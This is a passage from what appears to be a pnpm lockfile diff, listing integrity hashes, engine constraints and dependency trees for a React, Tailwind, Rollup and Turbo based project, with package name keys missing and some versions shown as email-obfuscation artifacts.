react: 18.3.1+ tslib: 2.8.1+ dev: false++ resolution: {integrity: sha512-pZcd1MCJoiKiBR2NRxeCRg13uCXbydPnmB4EOeRrY7480qNWO8IIgQG6zlDkm6uRMsURXPuKq0GWtiM59a5Q6g==}+ peerDependencies:+ react: '>=16.6.0'+ react-dom: '>=16.6.0'+ dependencies:+ '@babel/runtime': 7.29.2+ dom-helpers: 5.2.1+ loose-envify: 1.4.0+ prop-types: 15.8.1+ react: 18.3.1+ react-dom: 18.3.1([email protected])+ dev: false++ resolution: {integrity: sha512-wS+hAgJShR0KhEvPJArfuPVN1+Hz1t0Y6n5jLrGQbkb4urgPE/0Rve+1kMB1v/oWgHgm4WIcV+i7F2pTVj+2iQ==}+ engines: {node: '>=0.10.0'}+ dependencies:+ loose-envify: 1.4.0++ resolution: {integrity: sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==}+ dependencies:+ pify: 2.3.0+ dev: true++ resolution: {integrity: sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==}+ engines: {node: '>=8.10.0'}+ dependencies:+ picomatch: 2.3.2+ dev: true++ resolution: {integrity: sha512-GDhwkLfywWL2s6vEjyhri+eXmfH6j1L7JE27WhqLeYzoh/A3DBaYGEj2H/HFZCn/kMfim73FXxEJTw06WtxQwg==}+ engines: {node: '>= 14.18.0'}+ dev: true++ resolution: {integrity: sha512-kivNFO+0OcUNu7jQquLXAxz1FIwZj8nrj+YkOKc5694NbjCvcT6aSZiIzNzd2Kul4o4rTto8QVR9lMNtxD4G1w==}+ dependencies:+ decimal.js-light: 2.5.1+ dev: false++ resolution: {integrity: sha512-UT/q6fwS3c1dHbXv2uFgYJ9BMFHu3fwnd7AYZaEQhXuYQ4hgsxLvsUXzGdKeZrW5xopzDCvuA2N41WJ88I7zIw==}+ engines: {node: '>=14'}+ peerDependencies:+ react: ^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0+ react-dom: ^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0+ dependencies:+ clsx: 2.1.1+ eventemitter3: 4.0.7+ lodash: 4.18.1+ react: 18.3.1+ react-dom: 18.3.1([email protected])+ react-is: 18.3.1+ react-smooth: 4.0.4([email protected])([email protected])+ recharts-scale: 0.4.5+ tiny-invariant: 1.3.3+ victory-vendor: 36.9.2+ dev: false++ resolution: {integrity: sha512-00o4I+DVrefhv+nX0ulyi3biSHCPDe+yLv5o/p6d/UVlirijB8E16FtfwSAi4g3tcqrQ4lRAqQSoFEZJehYEcw==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bind: 1.0.9+ define-properties: 1.2.1+ es-abstract: 1.24.2+ es-errors: 1.3.0+ es-object-atoms: 1.1.1+ get-intrinsic: 1.3.0+ get-proto: 1.0.1+ which-builtin-type: 1.2.1+ dev: true++ resolution: {integrity: sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bind: 1.0.9+ define-properties: 1.2.1+ es-errors: 1.3.0+ get-proto: 1.0.1+ gopd: 1.2.0+ set-function-name: 2.0.2+ dev: true++ resolution: {integrity: sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==}+ engines: {node: '>=4'}+ dev: true++ resolution: {integrity: sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==}+ engines: {node: '>=8'}+ dev: true++ resolution: {integrity: sha512-seS2Tj26TBVOC2NIc2rOe2y2ZO7efxITtLZcGSOnHHNOQ7CkiUBfw0Iw2ck6xkIhPwLhKNLS8BO+hEpngQlqzw==}+ dev: true++ resolution: {integrity: sha512-TyeJ1zif53BPfHootBGwPRYT1RUt6oGWsaQr8UyZW/eAm9bKoijtvruSDEmZHm92CwS9nj7/fWttqPCgzep8CA==}+ engines: {node: '>= 0.4'}+ hasBin: true+ dependencies:+ es-errors: 1.3.0+ is-core-module: 2.16.1+ path-parse: 1.0.7+ supports-preserve-symlinks-flag: 1.0.0+ dev: true++ resolution: {integrity: sha512-3JmVl5hMGtJ3kMmB3zi3DL25KfkCEyy3Tw7Gmw7z5w8M9WlwoPFnIvwChzu1+cF3iaK3sp18hhPz8ANeimdJfA==}+ engines: {node: '>= 0.4'}+ hasBin: true+ dependencies:+ es-errors: 1.3.0+ is-core-module: 2.16.1+ node-exports-info: 1.6.0+ object-keys: 1.1.1+ path-parse: 1.0.7+ supports-preserve-symlinks-flag: 1.0.0+ dev: true++ resolution: {integrity: sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==}+ engines: {iojs: '>=1.0.0', node: '>=0.10.0'}+ dev: true++ resolution: {integrity: sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==}+ deprecated: Rimraf versions prior to v4 are no longer supported+ hasBin: true+ dependencies:+ glob: 7.2.3+ dev: true++ resolution: {integrity: sha512-J9qZyW++QK/09NyN/zeO0dG/1GdGfyp9lV8ajHnRVLfo/uFsbji5mHnDgn/qYdUHyCkM2N+8VyspgZclfAh0eQ==}+ engines: {node: '>=18.0.0', npm: '>=8.0.0'}+ hasBin: true+ dependencies:+ '@types/estree': 1.0.8+ optionalDependencies:+ '@rollup/rollup-android-arm-eabi': 4.60.2+ '@rollup/rollup-android-arm64': 4.60.2+ '@rollup/rollup-darwin-arm64': 4.60.2+ '@rollup/rollup-darwin-x64': 4.60.2+ '@rollup/rollup-freebsd-arm64': 4.60.2+ '@rollup/rollup-freebsd-x64': 4.60.2+ '@rollup/rollup-linux-arm-gnueabihf': 4.60.2+ '@rollup/rollup-linux-arm-musleabihf': 4.60.2+ '@rollup/rollup-linux-arm64-gnu': 4.60.2+ '@rollup/rollup-linux-arm64-musl': 4.60.2+ '@rollup/rollup-linux-loong64-gnu': 4.60.2+ '@rollup/rollup-linux-loong64-musl': 4.60.2+ '@rollup/rollup-linux-ppc64-gnu': 4.60.2+ '@rollup/rollup-linux-ppc64-musl': 4.60.2+ '@rollup/rollup-linux-riscv64-gnu': 4.60.2+ '@rollup/rollup-linux-riscv64-musl': 4.60.2+ '@rollup/rollup-linux-s390x-gnu': 4.60.2+ '@rollup/rollup-linux-x64-gnu': 4.60.2+ '@rollup/rollup-linux-x64-musl': 4.60.2+ '@rollup/rollup-openbsd-x64': 4.60.2+ '@rollup/rollup-openharmony-arm64': 4.60.2+ '@rollup/rollup-win32-arm64-msvc': 4.60.2+ '@rollup/rollup-win32-ia32-msvc': 4.60.2+ '@rollup/rollup-win32-x64-gnu': 4.60.2+ '@rollup/rollup-win32-x64-msvc': 4.60.2+ fsevents: 2.3.3+ dev: true++ resolution: {integrity: sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==}+ dependencies:+ queue-microtask: 1.2.3+ dev: true++ resolution: {integrity: sha512-wtZlHyOje6OZTGqAoaDKxFkgRtkF9CnHAVnCHKfuj200wAgL+bSJhdsCD2l0Qx/2ekEXjPWcyKkfGb5CPboslg==}+ engines: {node: '>=0.4'}+ dependencies:+ call-bind: 1.0.9+ call-bound: 1.0.4+ get-intrinsic: 1.3.0+ has-symbols: 1.1.0+ isarray: 2.0.5+ dev: true++ resolution: {integrity: sha512-iKE9w/Z7xCzUMIZqdBsp6pEQvwuEebH4vdpjcDWnyzaI6yl6O9FHvVpmGelvEHNsoY6wGblkxR6Zty/h00WiSA==}+ engines: {node: '>= 0.4'}+ dependencies:+ es-errors: 1.3.0+ isarray: 2.0.5+ dev: true++ resolution: {integrity: sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bound: 1.0.4+ es-errors: 1.3.0+ is-regex: 1.2.1+ dev: true++ resolution: {integrity: sha512-UOShsPwz7NrMUqhR6t0hWjFduvOzbtv7toDH1/hIrfRNIDBnnBWd0CwJTGvTpngVlmwGCdP9/Zl/tVrDqcuYzQ==}+ dependencies:+ loose-envify: 1.4.0++ resolution: {integrity: sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==}+ hasBin: true+ dev: true++ resolution: {integrity: sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA==}+ engines: {node: '>=10'}+ hasBin: true+ dev: true++ resolution: {integrity: sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==}+ engines: {node: '>= 0.4'}+ dependencies:+ define-data-property: 1.1.4+ es-errors: 1.3.0+ function-bind: 1.1.2+ get-intrinsic: 1.3.0+ gopd: 1.2.0+ has-property-descriptors: 1.0.2+ dev: true++ resolution: {integrity: sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ==}+ engines: {node: '>= 0.4'}+ dependencies:+ define-data-property: 1.1.4+ es-errors: 1.3.0+ functions-have-names: 1.2.3+ has-property-descriptors: 1.0.2+ dev: true++ resolution: {integrity: sha512-RJRdvCo6IAnPdsvP/7m6bsQqNnn1FCBX5ZNtFL98MmFF/4xAIJTIg1YbHW5DC2W5SKZanrC6i4HsJqlajw/dZw==}+ engines: {node: '>= 0.4'}+ dependencies:+ dunder-proto: 1.0.1+ es-errors: 1.3.0+ es-object-atoms: 1.1.1+ dev: true++ resolution: {integrity: sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==}+ engines: {node: '>=8'}+ dependencies:+ shebang-regex: 3.0.0+ dev: true++ resolution: {integrity: sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==}+ engines: {node: '>=8'}+ dev: true++ resolution: {integrity: sha512-mjn/0bi/oUURjc5Xl7IaWi/OJJJumuoJFQJfDDyO46+hBWsfaVM65TBHq2eoZBhzl9EchxOijpkbRC8SVBQU0w==}+ engines: {node: '>= 0.4'}+ dependencies:+ es-errors: 1.3.0+ object-inspect: 1.13.4+ dev: true++ resolution: {integrity: sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bound: 1.0.4+ es-errors: 1.3.0+ get-intrinsic: 1.3.0+ object-inspect: 1.13.4+ dev: true++ resolution: {integrity: sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bound: 1.0.4+ es-errors: 1.3.0+ get-intrinsic: 1.3.0+ object-inspect: 1.13.4+ side-channel-map: 1.0.1+ dev: true++ resolution: {integrity: sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==}+ engines: {node: '>= 0.4'}+ dependencies:+ es-errors: 1.3.0+ object-inspect: 1.13.4+ side-channel-list: 1.0.1+ side-channel-map: 1.0.1+ side-channel-weakmap: 1.0.2+ dev: true++ resolution: {integrity: sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==}+ engines: {node: '>=14'}+ dev: true++ resolution: {integrity: sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==}+ engines: {node: '>=8'}+ dev: true++ resolution: {integrity: sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==}+ engines: {node: '>=0.10.0'}++ resolution: {integrity: sha512-i5uvt8C3ikiWeNZSVZNWcfZPItFQOsYTUAOkcUPGd8DqDy1uOUikjt5dG+uRlwyvR108Fb9DOd4GvXfT0N2/uQ==}+ engines: {node: '>= 12'}+ dev: true++ resolution: {integrity: sha512-+L3ccpzibovGXFK+Ap/f8LOS0ahMrHTf3xu7mMLSpEGU0EO9ucaysSylKo9eRDFNhWve/y275iPmIZ4z39a9iA==}+ dev: true++ resolution: {integrity: sha512-HTEHMNieakEnoe33shBYcZ7NX83ACUjCu8c40iOGEZsngj9zRnkqS9j1pqQPXwobB0ZcVTk27REb7COQ0UR59w==}+ dev: false++ resolution: {integrity: sha512-eLoXW/DHyl62zxY4SCaIgnRhuMr6ri4juEYARS8E6sCEqzKpOiE521Ucofdx+KnDZl5xmvGYaaKCk5FEOxJCoQ==}+ engines: {node: '>= 0.4'}+ dependencies:+ es-errors: 1.3.0+ internal-slot: 1.1.0+ dev: true++ resolution: {integrity: sha512-Mcc5wHehp9aXz1ax6bZUyY5afg9u2rv5cqQI3mRrYkGC8rW2hM02jWuwjtL++LS5qinSyhj2QfLyNsuc+VsExg==}+ engines: {node: '>=10.0.0'}+ dev: false++ resolution: {integrity: sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==}+ engines: {node: '>=8'}+ dependencies:+ emoji-regex: 8.0.0+ is-fullwidth-code-point: 3.0.0+ strip-ansi: 6.0.1+ dev: true++ resolution: {integrity: sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==}+ engines: {node: '>=12'}+ dependencies:+ eastasianwidth: 0.2.0+ emoji-regex: 9.2.2+ strip-ansi: 7.2.0+ dev: true++ resolution: {integrity: sha512-o7+c9bW6zpAdJHTtujeePODAhkuicdAryFsfVKwA+wGw89wJ4GTY484WTucM9hLtDEOpOvI+aHnzqnC5lHp4Rg==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bind: 1.0.9+ define-properties: 1.2.1+ es-abstract: 1.24.2+ dev: true++ resolution: {integrity: sha512-6CC9uyBL+/48dYizRf7H7VAYCMCNTBeM78x/VTUe9bFEaxBepPJDa1Ow99LqI/1yF7kuy7Q3cQsYMrcjGUcskA==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bind: 1.0.9+ call-bound: 1.0.4+ define-properties: 1.2.1+ es-abstract: 1.24.2+ es-errors: 1.3.0+ es-object-atoms: 1.1.1+ get-intrinsic: 1.3.0+ gopd: 1.2.0+ has-symbols: 1.1.0+ internal-slot: 1.1.0+ regexp.prototype.flags: 1.5.4+ set-function-name: 2.0.2+ side-channel: 1.1.0+ dev: true++ resolution: {integrity: sha512-0u/TldDbKD8bFCQ/4f5+mNRrXwZ8hg2w7ZR8wa16e8z9XpePWl3eGEcUD0OXpEH/VJH/2G3gjUtR3ZOiBe2S/w==}+ dependencies:+ define-properties: 1.2.1+ es-abstract: 1.24.2+ dev: true++ resolution: {integrity: sha512-Rs66F0P/1kedk5lyYyH9uBzuiI/kNRmwJAR9quK6VOtIpZ2G+hMZd+HQbbv25MgCA6gEffoMZYxlTod4WcdrKA==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bind: 1.0.9+ call-bound: 1.0.4+ define-data-property: 1.1.4+ define-properties: 1.2.1+ es-abstract: 1.24.2+ es-object-atoms: 1.1.1+ has-property-descriptors: 1.0.2+ dev: true++ resolution: {integrity: sha512-G7Ok5C6E/j4SGfyLCloXTrngQIQU3PWtXGst3yM7Bea9FRURf1S42ZHlZZtsNque2FN2PoUhfZXYLNWwEr4dLQ==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bind: 1.0.9+ call-bound: 1.0.4+ define-properties: 1.2.1+ es-object-atoms: 1.1.1+ dev: true++ resolution: {integrity: sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bind: 1.0.9+ define-properties: 1.2.1+ es-object-atoms: 1.1.1+ dev: true++ resolution: {integrity: sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==}+ engines: {node: '>=8'}+ dependencies:+ ansi-regex: 5.0.1+ dev: true++ resolution: {integrity: sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==}+ engines: {node: '>=12'}+ dependencies:+ ansi-regex: 6.2.2+ dev: true++ resolution: {integrity: sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==}+ engines: {node: '>=4'}+ dev: true++ resolution: {integrity: sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==}+ engines: {node: '>=8'}+ dev: true++ resolution: {integrity: sha512-pW7uC1l4mBZ8ugbiZrcIsiIvVx1UmTfw7UkC3Um2tmfUq9Bhk8IiyEIPl6F8agHgjzku6j0xQEZbfA5uSgSaCw==}+ engines: {node: '>= 12.0.0'}+ peerDependencies:+ '@babel/core': '*'+ babel-plugin-macros: '*'+ react: '>= 16.8.0 || 17.x.x || ^18.0.0-0'+ peerDependenciesMeta:+ '@babel/core':+ optional: true+ babel-plugin-macros:+ optional: true+ dependencies:+ client-only: 0.0.1+ react: 18.3.1+ dev: false++ resolution: {integrity: sha512-DhuTmvZWux4H1UOnWMB3sk0sbaCVOoQZjv8u1rDoTV0HTdGem9hkAZtl4JZy8P2z4Bg0nT+YMeOFyVr4zcG5Tw==}+ engines: {node: '>=16 || 14 >=14.17'}+ hasBin: true+ dependencies:+ '@jridgewell/gen-mapping': 0.3.13+ commander: 4.1.1+ lines-and-columns: 1.2.4+ mz: 2.7.0+ pirates: 4.0.7+ tinyglobby: 0.2.16+ ts-interface-checker: 0.1.13+ dev: true++ resolution: {integrity: sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==}+ engines: {node: '>=8'}+ dependencies:+ has-flag: 4.0.0+ dev: true++ resolution: {integrity: sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==}+ engines: {node: '>= 0.4'}+ dev: true++ resolution: {integrity: sha512-2CC6CiKQtEwaEeNiqWTAw9PGykW8SR5zZX8MZk6TeAvEAnVS7Visz8WzphqgtQ8v2xz/4Q5K+j+SeMaKXeeQIA==}+ peerDependencies:+ react: ^16.11.0 || ^17.0.0 || ^18.0.0 || ^19.0.0+ dependencies:+ dequal: 2.0.3+ react: 18.3.1+ use-sync-external-store: 1.6.0([email protected])+ dev: false++ resolution: {integrity: sha512-3ofp+LL8E+pK/JuPLPggVAIaEuhvIz4qNcf3nA1Xn2o/7fb7s/TYpHhwGDv1ZU3PkBluUVaF8PyCHcm48cKLWQ==}+ engines: {node: '>=14.0.0'}+ hasBin: true+ dependencies:+ '@alloc/quick-lru': 5.2.0+ arg: 5.0.2+ chokidar: 3.6.0+ didyoumean: 1.2.2+ dlv: 1.1.3+ fast-glob: 3.3.3+ glob-parent: 6.0.2+ is-glob: 4.0.3+ jiti: 1.21.7+ lilconfig: 3.1.3+ micromatch: 4.0.8+ normalize-path: 3.0.0+ object-hash: 3.0.0+ picocolors: 1.1.1+ postcss: 8.5.13+ postcss-import: 15.1.0([email protected])+ postcss-js: 4.1.0([email protected])+ postcss-load-config: 6.0.1([email protected])([email protected])+ postcss-nested: 6.2.0([email protected])+ postcss-selector-parser: 6.1.2+ resolve: 1.22.12+ sucrase: 3.35.1+ transitivePeerDependencies:+ - tsx+ - yaml+ dev: true++ resolution: {integrity: sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==}+ dev: true++ resolution: {integrity: sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==}+ engines: {node: '>=0.8'}+ dependencies:+ thenify: 3.3.1+ dev: true++ resolution: {integrity: sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==}+ dependencies:+ any-promise: 1.3.0+ dev: true++ resolution: {integrity: sha512-+FbBPE1o9QAYvviau/qC5SE3caw21q3xkvWKBtja5vgqOWIHHJ3ioaq1VPfn/Szqctz2bU/oYeKd9/z5BL+PVg==}+ dev: false++ resolution: {integrity: sha512-KQQR9yN7R5+OSwaK0XQoj22pwHoTlgYqmUscPYoknOoWCWfj/5/ABTMRi69FrKU5ffPVh5QcFikpWJI/P1ocHA==}+ dev: true++ resolution: {integrity: sha512-pn99VhoACYR8nFHhxqix+uvsbXineAasWm5ojXoN8xEwK5Kd3/TrhNn1wByuD52UxWRLy8pu+kRMniEi6Eq9Zg==}+ engines: {node: '>=12.0.0'}+ dependencies:+ fdir: 6.5.0([email protected])+ picomatch: 4.0.4+ dev: true++ resolution: {integrity: sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==}+ engines: {node: '>=8.0'}+ dependencies:+ is-number: 7.0.0+ dev: true++ resolution: {integrity: sha512-L0Orpi8qGpRG//Nd+H90vFB+3iHnue1zSSGmNOOCh1GLJ7rUKVwV2HvijphGQS2UmhUZewS9VgvxYIdgr+fG1A==}+ hasBin: true+ dev: true++ resolution: {integrity: sha512-i3eMG77UTMD0hZhgRS562pv83RC6ukSAC2GMNWc+9dieh/+jDM5u5YG+NHX6VNDRHQcHwmsTHctP9LhbC3WxVw==}+ engines: {node: '>=16'}+ peerDependencies:+ typescript: '>=4.2.0'+ dependencies:+ typescript: 5.9.3+ dev: true++ resolution: {integrity: sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA==}+ dev: true++ resolution: {integrity: sha512-2Ac2RgzDe/cn48GvOe3M+o82pEFewD3UPbyoUHHdKasHwJKjds4fLXWf/Ux5kATBKN20oaFGu+jbElp1pos0mg==}+ dependencies:+ '@types/json5': 0.0.29+ json5: 1.0.2+ minimist: 1.2.8+ strip-bom: 3.0.0+ dev: true++ resolution: {integrity: sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==}++ resolution: {integrity: sha512-xtgkqwdhpKWr3tKPmCkvYmS9xnQK3m3XgxZHwSUjvfTjp7YfXe5tT3GgWi0F2N+ZSMsOeWeZFh7ZZFg5iPhing==}+ engines: {node: '>=18'}+ hasBin: true+ peerDependencies:+ '@microsoft/api-extractor': ^7.36.0+ '@swc/core': ^1+ postcss: ^8.4.12+ typescript: '>=4.5.0'+ peerDependenciesMeta:+ '@microsoft/api-extractor':+ optional: true+ '@swc/core':+ optional: true+ postcss:+ optional: true+ typescript:+ optional: true+ dependencies:+ bundle-require: 5.1.0([email protected])+ cac: 6.7.14+ chokidar: 4.0.3+ consola: 3.4.2+ debug: 4.4.3+ esbuild: 0.27.7+ fix-dts-default-cjs-exports: 1.0.1+ joycon: 3.1.1+ picocolors: 1.1.1+ postcss-load-config: 6.0.1([email protected])([email protected])+ resolve-from: 5.0.0+ rollup: 4.60.2+ source-map: 0.7.6+ sucrase: 3.35.1+ tinyexec: 0.3.2+ tinyglobby: 0.2.16+ tree-kill: 1.2.2+ typescript: 5.9.3+ transitivePeerDependencies:+ - jiti+ - supports-color+ - tsx+ - yaml+ dev: true++ resolution: {integrity: sha512-A0eKd73R7CGnRinTiS7txkMElg+R5rKFp9HV7baDiEL4xTG1FIg/56Vm7A5RVgg8UNgG2qNnrfatJtb+dRmNdw==}+ cpu: [x64]+ os: [darwin]+ requiresBuild: true+ dev: true+ optional: true++ resolution: {integrity: sha512-eG769Q0NF6/Vyjsr3mKCnkG/eW6dKMBZk6dxWOdrHfrg6QgfkBUk0WUUujzdtVPiUIvsh4l46vQrNVd9EOtbyA==}+ cpu: [arm64]+ os: [darwin]+ requiresBuild: true+ dev: true+ optional: true++ resolution: {integrity: sha512-Bq0JphDeNw3XEi+Xb/e4xoKhs1DHN7OoLVUbTIQz+gazYjigVZvtwCvgrZI7eW9Xo1eOXM2zw2u1DGLLUfmGkQ==}+ cpu: [x64]+ os: [linux]+ requiresBuild: true+ dev: true+ optional: true++ resolution: {integrity: sha512-BJcXw1DDiHO/okYbaNdcWN6szjXyHWx9d460v6fCHY65G8CyqGU3y2uUTPK89o8lq/b2C8NK0yZD+Vp0f9VoIg==}+ cpu: [arm64]+ os: [linux]+ requiresBuild: true+ dev: true+ optional: true++ resolution: {integrity: sha512-OFFhXHOFLN7A78vD/dlVuuSSVEB3s9ZBj18Tm1hk3aW1HTWTuAw0ReN6ZNlVObZUHvGy8d57OAGGxf2bT3etQw==}+ cpu: [x64]+ os: [win32]+ requiresBuild: true+ dev: true+ optional: true++ resolution: {integrity: sha512-u5A+VOKHswJJmJ8o8rcilBfU5U3Y1TTAfP9wX8bFh8teYF1ghP0EhtMRLjhtp6RPa+XCxHHVA2CiC3gbh5eg5g==}+ cpu: [arm64]+ os: [win32]+ requiresBuild: true+ dev: true+ optional: true++ resolution: {integrity: sha512-1q7+9UJABuBAHrcC4Sxp5lOqYS5mvxRrwa33wpIyM18hlOCpRD/fTJNxZ0vhbMcJmz15o9kkVm743mPn7p6jpQ==}+ hasBin: true+ optionalDependencies:+ turbo-darwin-64: 1.13.4+ turbo-darwin-arm64: 1.13.4+ turbo-linux-64: 1.13.4+ turbo-linux-arm64: 1.13.4+ turbo-windows-64: 1.13.4+ turbo-windows-arm64: 1.13.4+ dev: true++ resolution: {integrity: sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==}+ engines: {node: '>= 0.8.0'}+ dependencies:+ prelude-ls: 1.2.1+ dev: true++ resolution: {integrity: sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==}+ engines: {node: '>=10'}+ dev: true++ resolution: {integrity: sha512-nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bound: 1.0.4+ es-errors: 1.3.0+ is-typed-array: 1.1.15+ dev: true++ resolution: {integrity: sha512-BaXgOuIxz8n8pIq3e7Atg/7s+DpiYrxn4vdot3w9KbnBhcRQq6o3xemQdIfynqSeXeDrF32x+WvfzmOjPiY9lg==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bind: 1.0.9+ for-each: 0.3.5+ gopd: 1.2.0+ has-proto: 1.2.0+ is-typed-array: 1.1.15+ dev: true++ resolution: {integrity: sha512-bTlAFB/FBYMcuX81gbL4OcpH5PmlFHqlCCpAl8AlEzMz5k53oNDvN8p1PNOWLEmI2x4orp3raOFB51tv9X+MFQ==}+ engines: {node: '>= 0.4'}+ dependencies:+ available-typed-arrays: 1.0.7+ call-bind: 1.0.9+ for-each: 0.3.5+ gopd: 1.2.0+ has-proto: 1.2.0+ is-typed-array: 1.1.15+ reflect.getprototypeof: 1.0.10+ dev: true++ resolution: {integrity: sha512-3KS2b+kL7fsuk/eJZ7EQdnEmQoaho/r6KUef7hxvltNA5DR8NAUM+8wJMbJyZ4G9/7i3v5zPBIMN5aybAh2/Jg==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bind: 1.0.9+ for-each: 0.3.5+ gopd: 1.2.0+ is-typed-array: 1.1.15+ 